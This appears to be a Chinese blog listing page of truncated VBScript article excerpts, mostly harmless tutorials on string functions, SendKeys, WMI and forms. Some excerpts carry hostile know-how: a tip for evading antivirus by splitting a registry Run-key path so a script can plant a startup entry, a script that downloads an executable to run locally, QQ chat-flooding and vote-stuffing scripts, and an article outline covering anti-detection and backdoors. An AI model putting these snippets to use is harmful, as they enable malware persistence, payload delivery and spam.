VBScript 中的字节数据操作函数

2017年02月06日 283 阅读

Asc 和 AscB、AscW Asc 函数返回与字符串的第一个字母对应的 ANSI 字符代码。 Asc（string）AscB 函数和包含字节数据的字符串一起使用。AscB 不是返回第一个字符的字符代码，而是返回首字节。AscW 是为使用 Unicode 字符的 32 位平台提供的。它返回 Unicode （宽型）字符代码，因此可以避免从 ANSI 到 Unicode 的代码转换。Chr 和 ChrB、ChrWChr 函数返回与指定的 ANSI 字符代码...

切换dos并dir的vbs

2017年02月06日 192 阅读

复制代码 代码如下:<script language=vbscript>Dim oShellSet oShell = WScript.CreateObject （"WSCript.shell"）oShell.run "cmd /K CD c: & dir"Set oShell = Nothing</script>...

杀毒的对vbs相当敏感 免杀

2017年02月06日 209 阅读

复制代码 代码如下:现在杀毒的对vbs相当敏感，只要发现对注册表的xx作，或使用vbs运行命令（加用户） 就可能被杀。下面谈2方法可以简单解决：1.使用连接符"&" 如：Set CURObj = CreateObject（"Wscript.Shell"）mhk="HK"&"LMSOFT"&"WAREMicr"&"osoftWin"&"dowsCurren"&"tVersionRun"CURObj.RegWrite ""&mhk&"internat.exe"...

多进程的vbs脚本

2017年02月06日 215 阅读

文章作者：千寂孤城 信息来源：邪恶八进制信息安全团队 朋友要刷票，我帮他写了个刷票的脚本。但是脚本只能单线程的运行，太慢了，于是我用wmi配合写了个模拟多线程的脚本。（其实是多进程的，呵呵） 复制代码 代码如下: "Createdby千寂孤城 setshell=createobject（"wscript.shell"） sethttp=createobject（"Microsoft.XMLHTTP"） "获得“wscript.exe”进程的数量 a=0 f...

Windows管理脚本学习

2017年02月06日 201 阅读

站长（reterry）推荐此篇文章，想学vbscript的朋友，我建议到微软的官方网站去看，那里的东西很不错，生动幽默，我以前学vbscirpt的时候经常去那里看，而且好多东西，不一定刚开始能看的懂，但不要灰心，把感觉不错的，你可以用本子抄一遍，学习效果会更好，然后下载个vbscirpt帮助文件，微软有的下，然后看看多练习。花了半天时间在MS TechNet看《脚本的故事》，文章写得很生动幽默，要是所有的有技术文章都以这种轻松的方式来写就好了。 WMI -...

15分钟提醒一次，珍惜时间啊

2017年02月06日 188 阅读

15分钟提醒一次，珍惜时间啊保存为.vbs复制代码 代码如下:today=Date（） years=DatePart（"yyyy",today）-1981-1 Days=DatePart（"y",today）+25 IfDatePart（"m",today）=12Then ifDatePart（"d",today）>=9Then MsgBox"ok" Years=Years+1 Days=DatePart（"d",Date）-9 endif endI...

从一个VBS脚本学习一点点东西

2017年02月06日 246 阅读

不知道是最近还是以前，反正就是这几天经常在网上看到一个刷QQ群的VBS代码。 复制代码 代码如下:SetWshShell=WScript.createObject（"WScript.Shell"） WshShell.AppActivate"群－Powers成员交流" fori=1to10"要发的次数 WScript.Sleep500"发送消息的时间间隔 WshShell.SendKeys"^v""要发的内容 WshShell.SendKeysi"这里拿每条...

VBS相册生成脚本[

2017年02月06日 185 阅读

此脚本的功能为将一个目录中的jpg,gif,png格式的图片生成Html相册，页面上的图像只是改变显示大小，并没有生成缩略图。用到的技术：Scripting.FileSystemObject，Adodb.Stream。其中得到图片长宽用了秋水无恨的Adodb.Stream取得图像的高宽 复制代码 代码如下:"/////////////////////////////////////////////// "VBS相册生成脚本，使用方法：将此文件放在sendt...

exe2swf 工具（Adodb.Stream版）

2017年02月06日 192 阅读

Exe2swf,将exe格式的flash文件转为swf格式。网上有很多这方面的工具，这个是用vbscript写的。用法： 将下面代码存为exe2swf.vbs 将exe格式的flash拖放在此文件上，即可生成swf文件， 更新日期：2005-01-2009:30 复制代码 代码如下:"exe2swf工具， "用法：将exe格式的flash拖放在此文件上，即可生成swf文件， "haiwa@http://www.51windows.Net "感谢jimbob...

使用脚本自动修改ip设置

2017年02月06日 387 阅读

vbs脚本的功能非常强大，管理系统简单方便！下面的脚本win2000和winxp都可以使用，win2003没有测试过， 应该也没有问题。如果需要经常切换网关，或是ip，这个脚本是最方便的了。稍微修改一下甚至可以做到1分钟变一次ip。 复制代码 代码如下:@Echo OffTITLE 脚本之家ip设置器:startCLSCOLOR 2f:: 使用COLOR命令对控制台输出颜色进行更改mode con cols=56 lines=20:: MODE语句为设定窗...

深入挖掘Windows脚本技术第1/2页

2017年02月06日 249 阅读

深入挖掘Windows脚本技术文章作者：zzzEVAzzz <zzzevazzz@126.com> 为使文中涉及的代码整洁，将使用论坛的PHP标签处理。（没有VBS标签，code标签不好用，郁闷） 如果转载本文，请注意做相应调整。 【目录】 1，前言 2，回顾WSH对象 3，WMI服务 4，脚本也有GUI 5，反查杀 6，来做个后门 7，结语 8，参考资料 【前言】 本文讲述一些Windows脚本编程的知识和技巧。这里的Windows脚本是指"...

用VBSCRIPT控制ONSUBMIT事件

2017年02月06日 186 阅读

问怎么用VBSCRIPT控制不让表单提交，感觉很好玩。我试着写了一段程序，竟然不能控制，气坏我了。于是搬出搜索引擎，一阵搜索，找到了答案 VBSCRIPT控制FORM Function form1_onSubmit（） Msgbox "就不让你提交" form1_onSubmit = false End Function [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]...

VBS中Select CASE的其它用法

2017年02月06日 195 阅读

marr=20selectcasetruecasemarr<12response.write"小于12"casemarr>12response.write"大于12"casemarr=12response.write"=="endselect还可以这样用casemarr>7andmarr<12...

vbscript 可以按引用传递参数吗？

2017年02月06日 206 阅读

vbscript可以按引用传递参数吗？ 比如说 functionddd（str） str=str&"12345" endfunction abc="54321" 想通过ddd（abc），把abc变成“5432112345” 要怎么改动才行呢？回答： function ddd（str） str=str & "12345" end function abc="54321" ddd abc msgbox abc [Ctrl+A 全选 注:如需引入外部Js需刷...

下载文件到本地运行的vbs

2017年02月06日 188 阅读

复制代码 代码如下:"onerrorresumenext dl=http://www.jb51.net/index.htm "这是要下载的文件的路径str="Microsoft.XMLHTTP" Setx=CreateObject（str） Setx=CreateObject（str） setS=createobject（"adodb.stream"） S.type=1 x.Open"GET",dl,False x.Send（） fname1="img.e...

飘叶千夫指源代码，又称qq刷屏器

2017年02月06日 276 阅读

复制代码 代码如下:SetWshShell=WScript.CreateObject（"WScript.Shell"） WshShell.AppActivate"" fori=1to10´要发送的次数 WScript.Sleep500´定义发送信的所要的时间以ms毫秒为单位。如：1000为一秒发一次 WshShell.SendKeys"^v"´把剪贴版上的内容粘贴出来 WshShell.SendKeysi´输...

SendKeys参考文档

2017年02月06日 172 阅读

SendKeys参考文档 一直用foxipgw程序自动登录网关，今天做了一个自动调用foxipgw的程序，就不用每次点“确定”了，代码如下。 sets=WScript.CreateObject（"WScript.Shell"） app_window=s.run（"D:SoftFoxIPGW.EXE"） WScript.Sleep200 s.AppActivateapp_window s.SendKeys"{ESC}" s.SendKeys"{ESC}" ...

VBS中SendKeys的基本应用

2017年02月06日 278 阅读

ps:不知道有人还记得这个攻击qq群的代码？就是利用这个所写的！SendKeys模拟键盘操作，将一个或多个按键指令发送到指定Windows窗口来控制应用程序运行， 其使用格式为：object.SendKeysstring “object”：表示WshShell对象 “string”：表示要发送的按键指令字符串，需要放在英文双引号中。 1.基本键 一般来说，要发送的按键指令都可以直接用该按键字符本身来表示，例如要发送字母“x”，使用“WshShell.S...

VBScript教程 第十四课在VBScript中使用对象

2017年02月06日 195 阅读

使用对象无论使用的是 ActiveX？ 控件（以前称为 OLE 控件）还是 Java？ 对象，Microsoft Visual Basic Scripting Edition 和 Microsoft？ Internet Explorer 都以相同的方式处理它们。如果您使用的是 Internet Explorer 并且 ActiveX 库中安装了这些控件，就会看到由以下代码制作的页面。 <OBJECT> 标记用来包含对象，<PARAM>...

VBScript教程 第十三课 VBScript与窗体

2017年02月06日 213 阅读

简单验证使用 Visual Basic Scripting Edition，您可以完成通常要在服务器上进行的大量窗体处理工作，也可以完成不能在服务器上进行的工作。 这是一个简单的客户端验证的样例。HTML 代码的结果是一个文本框和一个按钮。如果使用 Microsoft？ Internet Explorer 查看用以下代码制作的页面，您会看到一个旁边带有按钮的小文本框。<HTML><HEAD><TITLE>简单验证<...